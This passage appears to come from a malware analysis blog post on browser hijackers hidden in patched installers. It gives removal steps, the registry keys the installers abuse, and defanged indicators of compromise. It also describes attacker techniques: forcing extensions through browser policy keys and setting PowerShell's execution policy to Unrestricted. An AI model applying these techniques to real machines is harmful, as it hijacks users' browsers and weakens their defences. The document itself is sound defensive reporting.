Upon further inspection we noticed that the installers all asked for Administrator privileges twice. The first part installs something that is called “Setup” and the second part installs an application that aligns with the name of the installer. So, it appears that the original installer files were “patched” to add the installer for our browser hijacker. It stands to reason that these installers are offered for download somewhere by the threat actors.

The EULA points to tommytechil.com which is unreachable. I was unable to find an installer that actually dropped an extension in Edge, but the “Your browser is managed by your organization” setting does get enforced.

_Edge managed by your organization_

**Javascripts**

Malwarebytes customers were protected against these extensions as Malwarebytes’ web protection module blocked the domain wincloudservice\[.\]com. On inspection, this domain hosted several javascripts including heavily obfuscated files called crypto.js and crypto-js.min.js.

**Detection and removal**

Malwarebytes detects these browser hijackers as PUP.Optional.ActiveSearchBar and PUP.Optional.CustomSearchBar. Included in the removal procedure are the extension, and the Scheduled Task, which is enough to permanently get rid of the extension.

Some Windows registry changes have been made that will take a system administrator to decide what they want to keep or not.

The registry keys to remove the “Your browser is managed” are:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForceList

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForceList

And another change made by the installer was the registry value:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\\\\ExecutionPolicy

The installer set that to “Unrestricted” which may not be your favorite setting. If you are not sure or you have never actively set that policy, the default is “Restricted”. Please note that in some organizations PowerShell is required to run.

**IOCs**

**Domains:**

activesearchbar\[.\]me

customsearchbar\[.\]me

optimizerupdate\[.\]com

securedatacorner\[.\]com

wincloudservice\[.\]com

**Installers:**

4kvideodownloader\_5.22.371\_x64LTS.exe

AutoClicker\_x64LTS.exe

FPSUnlocker\_4.1\_x64LTS.exe

**PowerShell scripts:**

PrintWorkflowService.ps1

WindowsUpdater1.ps1

OptimizerWindows.ps1

**Extensions:**

custom search bar nniikbbaboifhfjjkjekiamnfpkdieng

active search bar pkofdnfadkamabkgjdjcddeopopbdjhg

Tag

#js